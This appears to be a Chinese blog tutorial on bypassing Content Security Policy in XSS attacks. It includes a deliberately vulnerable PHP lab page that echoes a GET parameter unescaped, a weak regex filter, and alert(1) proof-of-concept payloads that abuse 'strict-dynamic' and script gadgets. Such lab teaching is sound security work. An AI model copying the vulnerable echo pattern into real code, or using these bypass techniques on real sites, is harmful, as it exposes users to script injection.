XSS高级专题

XSS进阶之CSP绕过

CSP(内容安全策略):实质就是白名单制度,它规定哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成。资源加载通过”script-src“、”style-src”等选项来限制外部资源的加载。”script-src”限制外部脚本的加载,strict-dynamic特性允许将信任关系传递给由受信任的script动态生成的脚本,忽略了script-src的白名单,使得之后生成的脚本可以执行。

上述POC的作用是使我们注入的代码成为受信任的js脚本,从而绕过CSP的白名单的限制。


实验一:

target.php

<html>
<head>

<meta http-equiv="content-security-policy" content="script-src 'nonce-secret' 'strict-dynamic'; default-src 'self'">

<script src="jquery.min.js" nonce="secret"></script>
<script src="jquery-scrollto.js" nonce="secret"></script>
<script src="jquery.history.js" nonce="secret"></script>
<script src="ajaxify-html5.js" nonce="secret"></script>
</head>
<body>

Hello World~!

<div id="content">
 <?php
     if(isset($_GET["inj"]))
    {
        echo $_GET["inj"];
    }
 ?>
</div>

</body>
</html>

浏览页面,输入<script>alert(1)</script>


实验二:

页面过滤脚本关键代码
 <?php
     if(isset($_GET["inj"]))
    {
        $input = $_GET["inj"];
       $input = preg_replace("/(javascript:)?on(click|load|key|mouse|error|abort|move|unload|change|dbclick|reset|resize|submit)/i","",$input);
       $input = preg_replace("/(.*?)<\/script>/si","",$input);
       $input = preg_replace("/(.*?)<\/iframe>/si","",$input);
       $input = preg_replace("//iesU",'',$input);
       echo $input;
    }
   
 ?>

在界面输入:<div class=document-script>alert(1)</div>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值